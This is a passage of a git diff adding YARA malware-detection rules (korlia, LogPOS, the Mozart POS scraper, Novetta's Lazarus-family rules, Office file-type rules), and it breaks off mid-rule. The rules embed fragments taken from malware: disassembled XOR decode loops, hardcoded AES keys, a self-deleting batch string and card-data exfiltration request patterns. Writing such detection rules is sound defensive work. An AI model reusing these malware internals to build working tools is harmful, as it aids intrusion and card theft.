+     8B4508        mov    eax, dword ptr [ebp + 8]
+     0345F4        add    eax, dword ptr [ebp - 0xc]
+     8808        mov    byte ptr [eax], cl
+     EBC7        jmp    0x41285b
+     5F        pop    edi
+     5E        pop    esi
+     5B        pop    ebx
+     8BE5        mov    esp, ebp
+     5D        pop    ebp
+     */
+     $string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+   condition:
+     any of them
+ }
+
diff --git a/yara-mikesxrs/Nick Hoffman/korlia.yar b/yara-mikesxrs/Nick Hoffman/korlia.yar
new file mode 100644
index 0000000..559c753
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/korlia.yar	
@@ -0,0 +1,55 @@
+rule korlia
+{ 
+meta:
+author = "Nick Hoffman " 
+company = "Morphick"
+information = "korlia malware found in apt dump" 
+ref = "http://www.morphick.com/resources/lab-blog/curious-korlia"
+
+//case a
+//b2 1f mov dl, 0x1f ; mov key (wildcard) 
+// ----------------- 
+//8A 86 98 40 00 71 mov al, byte ptr url[esi]
+//BF 98 40 00 71 mov edi, offset url 
+//32 C2 xor al, dl 
+//83 C9 FF or ecx, 0FFFFFFFFh 
+//88 86 98 40 00 71 mov byte ptr url[esi], al 
+//33 C0 xor eax, eax 
+//46 inc esi 
+//F2 AE repne scasb 
+//F7 D1 not ecx 
+//49 dec ecx 
+//3B F1 cmp esi, ecx 
+//72 DE jb short loc_71001DE0
+
+//case b (variant of loop a) 
+//8A 8A 28 50 40 00 mov cl, byte_405028[edx] 
+//BF 28 50 40 00 mov edi, offset byte_405028 
+//32 CB xor cl, bl 
+//33 C0 xor eax, eax 
+//88 8A 28 50 40 00 mov byte_405028[edx], cl
+//83 C9 FF or ecx, 0FFFFFFFFh 
+//42 inc edx 
+//F2 AE repne scasb 
+//F7 D1 not ecx 
+//49 dec ecx 
+//3B D1 cmp edx, ecx 
+//72 DE jb short loc_4047F2 
+
+//case c (not a variant of the above loop) 
+//8A 0C 28 mov cl, [eax+ebp] 
+//80 F1 28 xor cl, 28h 
+//88 0C 28 mov [eax+ebp], cl 
+//8B 4C 24 14 mov ecx, [esp+0D78h+var_D64]
+//40 inc eax 
+//3B C1 cmp eax, ecx 
+//7C EE jl short loc_404F1C 
+
+strings:
+$a = {b2 ?? 8A 86 98 40 00 71 BF 98 40 00 71 32 c2 83 C9 FF 88 86 98 40 00 71 33 C0 46 F2 AE F7 D1 49 3B F1} 
+$b = {B3 ?? ?? ?? 8A 8A 28 50 40 00 BF 28 50 40 00 32 CB 33 C0 88 8A 28 50 40 00 83 C9 FF 42 F2 AE F7 D1 49 3B D1} 
+$c = {8A 0C 28 80 F1 ?? 88 0C 28 8B 4C 24 14 40 3B C1} 
+$d = {00 62 69 73 6F 6E 61 6C 00} //config marker "\x00bisonal\x00"
+condition:
+any of them 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Nick Hoffman/logpos.yar b/yara-mikesxrs/Nick Hoffman/logpos.yar
new file mode 100644
index 0000000..302c84e
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/logpos.yar	
@@ -0,0 +1,17 @@
+rule LogPOS
+{
+    meta:
+        author = "Nick Hoffman - Morphick Security"
+        description = "Detects Versions of LogPOS"
+        md5 = "af13e7583ed1b27c4ae219e344a37e2b"
+    strings:
+        $mailslot = "\\\\.\\mailslot\\LogCC"
+        $get = "GET /%s?encoding=%c&t=%c&cc=%I64d&process="
+        //64A130000000      mov eax, dword ptr fs:[0x30]
+        //8B400C        mov eax, dword ptr [eax + 0xc]
+        //8B401C        mov eax, dword ptr [eax + 0x1c]
+        //8B4008        mov eax, dword ptr [eax + 8]
+        $sc = {64 A1 30 00 00 00 8B 40 0C 8B 40 1C 8B 40 08 }
+    condition:
+        $sc and 1 of ($mailslot,$get)
+}
diff --git a/yara-mikesxrs/Nick Hoffman/mozart.yar b/yara-mikesxrs/Nick Hoffman/mozart.yar
new file mode 100644
index 0000000..7565873
--- /dev/null
+++ b/yara-mikesxrs/Nick Hoffman/mozart.yar	
@@ -0,0 +1,15 @@
+rule Mozart
+{
+   meta:
+       author = "Nick Hoffman - Morphick Inc"
+       description = "Detects samples of the Mozart POS RAM scraping utility"
+   strings:
+       $pdb = "z:\\Slender\\mozart\\mozart\\Release\\mozart.pdb" nocase wide ascii
+       $output = {67 61 72 62 61 67 65 2E 74 6D 70 00}
+       $service_name = "NCR SelfServ Platform Remote Monitor" nocase wide ascii
+       $service_name_short = "NCR_RemoteMonitor"
+       $encode_data = {B8 08 10 00 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 55 8B AC 24 14 10 00 00 89 84 24 0C 10 00 00 56 8B C5 33 F6 33 DB 8D 50 01 8D A4 24 00 00 00 00 8A 08 40 84 C9 ?? ?? 2B C2 89 44 24 0C ?? ?? 8B 94 24 1C 10 00 00 57 8B FD 2B FA 89 7C 24 10 ?? ?? 8B 7C 24 10 8A 04 17 02 86 E0 BA 40 00 88 02 B8 ?? ?? ?? ?? 46 8D 78 01 8D A4 24 00 00 00 00 8A 08 40 84 C9 ?? ?? 2B C7 3B F0 ?? ?? 33 F6 8B C5 43 42 8D 78 01 8A 08 40 84 C9 ?? ?? 2B C7 3B D8 ?? ?? 5F 8B B4 24 1C 10 00 00 8B C5 C6 04 33 00 8D 50 01 8A 08 40 84 C9 ?? ?? 8B 8C 24 20 10 00 00 2B C2 51 8D 54 24 14 52 50 56 E8 ?? ?? ?? ?? 83 C4 10 8B D6 5E 8D 44 24 0C 8B C8 5D 2B D1 5B 8A 08 88 0C 02 40 84 C9 ?? ?? 8B 8C 24 04 10 00 00 E8 ?? ?? ?? ?? 81 C4 08 10 00 00}
+   condition:
+      any of ($pdb, $output, $encode_data) or
+      all of ($service*)
+}
diff --git a/yara-mikesxrs/Niels Warnars/encoded_vbs.yar b/yara-mikesxrs/Niels Warnars/encoded_vbs.yar
new file mode 100644
index 0000000..1d56820
--- /dev/null
+++ b/yara-mikesxrs/Niels Warnars/encoded_vbs.yar	
@@ -0,0 +1,14 @@
+rule encoded_vbs
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/07/31"
+		description = "Encoded .vbs detection"
+		reference = "https://gallery.technet.microsoft.com/Encode-and-Decode-a-VB-a480d74c"
+	strings:
+		$begin_tag1 = "#@~^" 
+		$begin_tag2 = "=="
+		$end_tag = "==^#~@"
+	condition:
+	   $begin_tag1 at 0 and $begin_tag2 at 10 and $end_tag
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Niels Warnars/office_filetype.yar b/yara-mikesxrs/Niels Warnars/office_filetype.yar
new file mode 100644
index 0000000..a20d3a3
--- /dev/null
+++ b/yara-mikesxrs/Niels Warnars/office_filetype.yar	
@@ -0,0 +1,160 @@
+rule doc
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Word 2003 file format detection"
+	strings:
+		$header = { D0 CF 11 E0 A1 B1 1A E1 }
+		$str1 = "Microsoft Office Word"
+		$str2 = "MSWordDoc"
+		$str3 = "Word.Document.8"
+	condition:
+	   $header at 0 and any of ($str*) 
+}
+
+rule ppt
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "PowerPoint 2003 file format detection"
+	strings:
+		$header = { D0 CF 11 E0 A1 B1 1A E1 }
+		$str = "Microsoft Office PowerPoint"
+	condition:
+	   $header at 0 and $str
+}
+
+rule xls
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Excel 2003 file format detection"
+	strings:
+		$header = { D0 CF 11 E0 A1 B1 1A E1 }
+		$str1 = "Microsoft Excel"
+		$str2 = "Excel.Sheet.8"
+	condition:
+	   $header at 0 and any of ($str*) 
+}
+
+rule docx
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Word 2007 file format detection"
+	strings:
+		$header = { 50 4B 03 04 }
+		$str = "document.xml"
+	condition:
+	   $header at 0 and $str
+}
+
+rule pptx
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "PowerPoint 2007 file format detection"
+	strings:
+		$header = { 50 4B 03 04 }
+		$str = "presentation.xml"
+	condition:
+	   $header at 0 and $str
+}
+
+rule xlsx
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Excel 2007 file format detection"
+	strings:
+		$header = { 50 4B 03 04 }
+		$str = "workbook.xml"
+	condition:
+	   $header at 0 and $str
+}
+
+rule xlsb
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Excel Binary Workbook file format detection"
+
+	strings:
+		$header = { 50 4B 03 04 }
+		$str = "workbook.bin"
+	condition:
+	   $header at 0 and $str
+}
+
+rule rtf
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Word RTF file format detection"
+	strings:
+		$header = "{\\rt"	
+	condition:
+	   $header at 0
+}
+
+rule word_xml
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Word XML file format detection"
+	strings:
+		$header = "<?xml"
+		$str = "<?mso-application progid=\"Word.Document\"?>"
+	condition:
+	   $header at 0 and $str
+}
+
+rule ppt_xml
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "PowerPoint XML file format detection"
+	strings:
+		$header = "<?xml"
+		$str = "<?mso-application progid=\"PowerPoint.Show\"?>"
+	condition:
+	   $header at 0 and $str
+}
+
+rule excel_xml
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Excel XML file format detection"
+	strings:
+		$header = "<?xml"
+		$str = "<?mso-application progid=\"Excel.Sheet\"?>"
+	condition:
+	   $header at 0 and $str
+}
+
+rule mhtml
+{
+	meta:
+		author = "Niels Warnars"
+		date = "2016/04/26"
+		description = "Word/Excel MHTML file format detection"
+	strings:
+		$str1 = "MIME-Version:"
+		$str2 = "Content-Location:"
+		$email_str1 = "From:"
+		$email_str2 = "Subject:"
+	condition:
+		all of ($str*) and not any of ($email_str*)
+}
diff --git a/yara-mikesxrs/Novetta/DeltaCharlie.yara b/yara-mikesxrs/Novetta/DeltaCharlie.yara
new file mode 100644
index 0000000..e7eb8f3
--- /dev/null
+++ b/yara-mikesxrs/Novetta/DeltaCharlie.yara
@@ -0,0 +1,21 @@
+import "pe"
+
+rule DeltaCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94 
+		           A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77 
+		           48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39 
+		           73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2 
+		           AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED 
+		           39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68 
+		           3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13 
+		           B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+		           
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/Derusbi_Server.yar b/yara-mikesxrs/Novetta/Derusbi_Server.yar
new file mode 100644
index 0000000..2c0c58a
--- /dev/null
+++ b/yara-mikesxrs/Novetta/Derusbi_Server.yar
@@ -0,0 +1,15 @@
+rule Derusbi_Server
+{
+	meta:
+		Author = "Novetta"
+		Reference = "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf"
+
+	strings:
+		$uuid = "{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide ascii
+		$infectionID1 = "-%s-%03d"
+		$infectionID2 = "-%03d"
+		$other = "ZwLoadDriver"
+
+	condition:
+		$uuid or ($infectionID1 and $infectionID2 and $other)
+}
diff --git a/yara-mikesxrs/Novetta/HotelAlfa.yara b/yara-mikesxrs/Novetta/HotelAlfa.yara
new file mode 100644
index 0000000..b19baaa
--- /dev/null
+++ b/yara-mikesxrs/Novetta/HotelAlfa.yara
@@ -0,0 +1,35 @@
+import "pe"
+
+rule HotelAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "58dab205ecb1e0972027eb92f68cec6d208e5ab5.ex_"
+
+	strings:
+	
+	$resourceHTML = "RSRC_HTML"
+	/*
+		8A 0C 18  mov     cl, [eax+ebx]
+		80 F1 63  xor     cl, 63h
+		88 0C 18  mov     [eax+ebx], cl
+		8B 4D 00  mov     ecx, [ebp+0]
+		40        inc     eax
+		3B C1     cmp     eax, ecx
+		72 EF     jb      short loc_4010B4
+	*/
+
+	$rscsDecoderLoop = {
+			8A [2] 
+			80 F1 ?? 
+			88 [2] 
+			8B [2] 
+			40 
+			3B ??
+			72 EF 
+		}
+
+	condition:
+		$resourceHTML and $rscsDecoderLoop in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/IndiaAlfa.yara b/yara-mikesxrs/Novetta/IndiaAlfa.yara
new file mode 100644
index 0000000..aacedc3
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaAlfa.yara
@@ -0,0 +1,29 @@
+rule IndiaAlfa_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "HwpFilePathCheck.dll"
+		$ = "AdobeArm.exe"
+		$ = "OpenDocument"
+		
+	condition:
+		2 of them
+
+}
+
+rule IndiaAlfa_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "ExePath: %s\nXlsPath: %s\nTmpPath: %s\n"
+		
+	condition:
+		any of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/IndiaBravo.yara b/yara-mikesxrs/Novetta/IndiaBravo.yara
new file mode 100644
index 0000000..f3690d5
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaBravo.yara
@@ -0,0 +1,122 @@
+import "pe"
+
+rule IndiaBravo_PapaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "pmsconfig.msi" wide
+		$ = "scvrit001.bat"
+	condition:
+		all of them
+}
+
+rule IndiaBravo_RomeoCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "58ad28ac4fb911abb6a20382456c4ad6fe5c8ee5.ex_"
+		Status = "Signature is too loose to be useful."
+		
+	strings:
+	/*
+		50                 push    eax             ; argp
+		68 7E 66 04 80     push    8004667Eh       ; cmd
+		8B 8D DC FE FF FF  mov     ecx, [ebp+skt]
+		51                 push    ecx             ; s
+		FF 15 58 31 41 00  call    ioctlsocket
+		83 F8 FF           cmp     eax, 0FFFFFFFFh
+		75 08              jnz     short loc_4043F0
+	*/
+
+	$a = {
+			50 
+			68 7E 66 04 80 
+			8B 8D [4]
+			51 
+			FF 15 [4] 
+			83 F8 FF 
+			75 
+		}
+	$b1 = "xc123465-efff-87cc-37abcdef9"
+	$b2 = "[Check] - PORT ERROR..." wide
+	$b3 = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d"
+
+	condition:
+		2 of ($b*) or 
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule IndiaBravo_RomeoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "6e3db4da27f12eaba005217eba7cd9133bc258c97fe44605d12e20a556775009"
+
+	strings:
+	/*
+		E8 C3 FE FF FF     call    generate64ByteRandomNumber
+		68 C8 01 00 00     push    1C8h            ; dwLength
+		68 D8 E8 40 00     push    offset g_Config ; pvBuffer
+		A3 80 EA 40 00     mov     dword ptr g_Config.qwIdentifier, eax
+		89 15 84 EA 40 00  mov     dword ptr g_Config.qwIdentifier+4, edx
+		E8 F9 E9 FF FF     call    DNSCALCDecode
+		83 C4 08           add     esp, 8
+		8D 4C 24 08        lea     ecx, [esp+214h+var_20C]
+		6A 00              push    0
+		51                 push    ecx
+		68 C8 01 00 00     push    1C8h
+		68 D8 E8 40 00     push    offset g_Config
+		56                 push    esi
+		FF 15 74 E7 40 00  call    WriteFile_9
+		56                 push    esi
+		FF 15 6C E7 40 00  call    CloseHandle_9
+	*/
+
+	$a = {
+			E8 [4] 
+			68 [2] 00 00 
+			68 [4]
+			A3 [4]
+			89 15 [4]
+			E8 [4]
+			83 C4 08 
+			8D [3]
+			6A 00 
+			5? 
+			68 [2] 00 00 
+			68 [4]
+			5? 
+			FF 15 [4]
+			5? 
+			FF 15 
+
+		}
+		
+		$b1 = "tmscompg.msi" wide
+		$b2 = "cvrit000.bat"
+
+	condition:
+		2 of ($b*) or 
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule IndiaBravo_generic
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$extractDll = "[2] - Extract Dll..." wide
+		$createSvc = "[3] - CreateSVC..." wide
+
+	condition:
+		all of them
+	
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/IndiaCharlie.yara b/yara-mikesxrs/Novetta/IndiaCharlie.yara
new file mode 100644
index 0000000..ffa3cb9
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaCharlie.yara
@@ -0,0 +1,32 @@
+rule IndiaCharlie_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "WMPNetworkSvcUpdate"
+		$ = "backSched.dll"
+		$ = "\\mspaint.exe"
+		$aesKey = "X,LLIe{))%%l2i<[AM|aq!Ql/lPlw]d7@C-#j.<c|#*}Kx4_H(q^F-F^p/[t#%HT"
+	condition:
+		2 of them or $aesKey
+}
+
+rule IndiaCharlie_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$s1 = "%s is an essential element in Windows System configuration and management. %s"
+		$s2 = "%SYSTEMROOT%\\system32\\svchost.exe -k "
+		$s3 = "%s\\system32\\%s"
+		$s4 = "\\mspaint.exe"
+		$s5 = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		$aesKey = "}[eLkQAeEae0t@h18g!)3x-RvE%+^`n.6^()?+00ME6a&F7vcV}`@.dj]&u$o*vX"
+
+	condition:
+		3 of ($s*) or $aesKey
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/IndiaDelta.yara b/yara-mikesxrs/Novetta/IndiaDelta.yara
new file mode 100644
index 0000000..4854383
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaDelta.yara
@@ -0,0 +1,37 @@
+import "pe"
+
+rule IndiaDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "d7b50b1546653bff68220996190446bdc7fc4e38373715b8848d1fb44fe3f53c"
+
+	strings:
+	/*
+		FF 15 DC 2D 41 00  call    ReadFile_0
+		8B 44 24 20        mov     eax, [esp+25Ch+offsetInFile]
+		8B 54 24 1C        mov     edx, [esp+25Ch+dwEmbedCnt]
+		35 78 56 34 12     xor     eax, 12345678h
+		55                 push    ebp
+		55                 push    ebp
+		81 F2 78 56 34 12  xor     edx, 12345678h
+		50                 push    eax
+		57                 push    edi
+		89 54 24 2C        mov     [esp+26Ch+dwEmbedCnt], edx
+		89 44 24 30        mov     [esp+26Ch+offsetInFile], eax
+		FF 15 E0 2D 41 00  call    SetFilePointer_0
+	*/
+
+	$a = {
+			FF 15 [4-12] 
+			3? 78 56 34 12 
+			[0-2] 
+			8? ?? 78 56 34 12 
+			[0-10]
+			FF 15
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/IndiaEcho.yara b/yara-mikesxrs/Novetta/IndiaEcho.yara
new file mode 100644
index 0000000..ea49616
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaEcho.yara
@@ -0,0 +1,54 @@
+import "pe"
+
+rule IndiaEcho
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "66a21f8c72bb4f314604526e9bf1736f75b06cf37dd3077eb292941b476c3235"
+
+	strings:
+	/*
+		69 C0 28 01 00 00  imul    eax, 128h
+		50                 push    eax             ; size_t
+		53                 push    ebx             ; int
+		FF B5 AC FD FF FF  push    [ebp+configRecords]; void *
+		E8 6E 08 00 00     call    _memset
+		8B 85 A4 FC FF FF  mov     eax, [ebp+var_35C.dwRecordCnt]
+		69 C0 28 01 00 00  imul    eax, 128h
+		50                 push    eax             ; size_t
+		8B 85 C4 FE FF FF  mov     eax, [ebp+hMem]
+		05 08 01 00 00     add     eax, 108h
+		50                 push    eax             ; void *
+		FF B5 AC FD FF FF  push    [ebp+configRecords]; void *
+		E8 0A 05 00 00     call    _memcpy
+		83 C4 18           add     esp, 18h
+		8B BD A4 FC FF FF  mov     edi, [ebp+var_35C.dwRecordCnt]
+		69 FF 28 01 00 00  imul    edi, 128h
+		81 C7 08 01 00 00  add     edi, 108h
+	*/
+
+	$a = {
+			69 ?? 28 01 00 00 
+			5? 
+			5? 
+			FF B5 [4] 
+			E8 [4] 
+			8B [5] 
+			69 ?? 28 01 00 00 
+			50 
+			8B [5] 
+			(05 08 01 00 00 | 03 ??)
+			50 
+			FF [5]
+			E8 [4] 
+			83 C4 ?? 
+			8B [5]
+			69 ?? 28 01 00 00 
+			(81 C7 08 01 00 00 | 03 ??)
+
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/IndiaGolf.yara b/yara-mikesxrs/Novetta/IndiaGolf.yara
new file mode 100644
index 0000000..02d8441
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaGolf.yara
@@ -0,0 +1,43 @@
+import "pe"
+
+rule IndiaGolf
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "3dda69dfb254dcaea2ba6e8323d4b61ab1e130a0694f4c43d336cfb86a760c50"
+
+	strings:
+	/*
+		FF D6        call    esi ; rand
+		8B F8        mov     edi, eax
+		C1 E7 10     shl     edi, 10h
+		FF D6        call    esi ; rand
+		03 F8        add     edi, eax
+		89 7C 24 20  mov     [esp+2A90h+var_2A70], edi
+		FF D6        call    esi ; rand
+		8B F8        mov     edi, eax
+		C1 E7 10     shl     edi, 10h
+		FF D6        call    esi ; rand
+		03 F8        add     edi, eax
+		89 7C 24 24  mov     [esp+2A90h+var_2A6C], edi
+	*/
+
+	$generateRandomID = {
+			FF ?? 
+			8B ?? 
+			C1 ?? 10 
+			FF ?? 
+			03 F8 
+			89 [3]
+			FF ?? 
+			8B ?? 
+			C1 ?? 10 
+			FF ?? 
+			03 ?? 
+			89 
+		}
+
+	condition:
+		$generateRandomID in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/IndiaHotel.yara b/yara-mikesxrs/Novetta/IndiaHotel.yara
new file mode 100644
index 0000000..0796272
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaHotel.yara
@@ -0,0 +1,29 @@
+import "pe"
+
+rule IndiaHotel
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "8a4fc5007faf85e07710dca705108df9fd6252fe3d57dfade314120d72f6d83f"
+
+	strings:
+	/*
+		6A 0A              push    0Ah             ; int
+		8D 85 C4 E4 FF FF  lea     eax, [ebp+Source]
+		68 10 02 00 00     push    210h            ; unsigned int
+		50                 push    eax             ; void *
+		E8 FA 60 00 00     call    ??_L@YGXPAXIHP6EX0@Z1@Z; `eh vector constructor iterator'(void *,uint,int,void (*)(void *),void (*)(void *))
+	*/
+
+	$fileExtractorArraySetup = {
+			6A 0A 
+			8D [5-6]
+			68 10 02 00 00 
+			50 
+			E8
+		}
+
+	condition:
+		$fileExtractorArraySetup in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/IndiaJuliett.yara b/yara-mikesxrs/Novetta/IndiaJuliett.yara
new file mode 100644
index 0000000..1a4f124
--- /dev/null
+++ b/yara-mikesxrs/Novetta/IndiaJuliett.yara
@@ -0,0 +1,76 @@
+import "pe"
+
+rule IndiaJuliett
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_writeFile = "a164c0ba0be7c33778c12a6457e9c55a2935564a"
+
+
+	strings:
+		$configFilename = {00 73 63 61 72 64 70 72 76  2E 64 6C 6C 00}
+		$suicideScript = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		$commKey = { 10 20 30 40 50 60 70 80 90 11 12 13 1A FF EE 48 }
+		/*
+		.text:10001850                 push    7530h           ; dwTimeout
+		.text:10001855                 lea     eax, [esp+420h+a2]
+		.text:10001859                 push    4               ; len
+		.text:1000185B                 push    eax             ; a2
+		.text:1000185C                 push    esi             ; s
+		.text:1000185D                 mov     dword ptr [esp+42Ch+a2], 1000h
+		.text:10001865                 call    CommSendWithTimeout
+		.text:1000186A                 add     esp, 14h
+		.text:1000186D                 cmp     eax, 0FFFFFFFFh
+		.text:10001870                 jz      loc_10001915
+		.text:10001876                 lea     ecx, [esp+418h+random]
+		.text:1000187A                 push    ecx             ; a1
+		.text:1000187B                 call    Generate16ByteRandomBuffer
+		.text:10001880                 push    0               ; fEncrypt
+		.text:10001882                 push    7530h           ; dwTimeout		
+		*/
+		$handshake = { 68 30 75 00 00 [4] 6A 04 5? 5? C? [3] 00 10 00 00 E8 [7] 83 F8 FF 0F 84 ?? ?? 00 00 8? [3] 5? E8 [4] 6A 00 68 30 75 00 00 }
+
+		/*
+			68 00 28 00 00     push    2800h
+			56                 push    esi
+			E8 38 F7 FF FF     call    sub_401000
+			// optionally there is a "add esp, 8" in some variants here
+			8D 44 24 28        lea     eax, [esp+270h+NumberOfBytesWritten]
+			6A 00              push    0               ; lpOverlapped
+			50                 push    eax             ; lpNumberOfBytesWritten
+			68 00 28 00 00     push    2800h           ; nNumberOfBytesToWrite
+			56                 push    esi             ; lpBuffer
+			53                 push    ebx             ; hFile
+			FF 15 6C 80 40 00  call    ds:WriteFile
+			81 ED 00 28 00 00  sub     ebp, 2800h
+			81 C7 00 28 00 00  add     edi, 2800h
+			81 C6 00 28 00 00  add     esi, 2800h
+		*/
+	
+		$writeFile = {
+				68 00 28 00 00 
+				5? 
+				E8 [4-7] 
+				8D [3] 
+				6A 00 
+				5? 
+				68 00 28 00 00 
+				5? 
+				5? 
+				FF 15 [4] 
+				81 ?? 00 28 00 00 
+				81 ?? 00 28 00 00 
+				81 ?? 00 28 00 00 
+			}
+				
+	condition:
+		($configFilename in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size)) or 
+			$suicideScript in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size)))
+		or
+		($handshake in ((pe.sections[pe.section_index(".rsrc")].raw_data_offset)..(pe.sections[pe.section_index(".rsrc")].raw_data_offset + pe.sections[pe.section_index(".rsrc")].raw_data_size)) and 
+			$commKey in ((pe.sections[pe.section_index(".rsrc")].raw_data_offset)..(pe.sections[pe.section_index(".rsrc")].raw_data_offset + pe.sections[pe.section_index(".rsrc")].raw_data_size)))
+		or
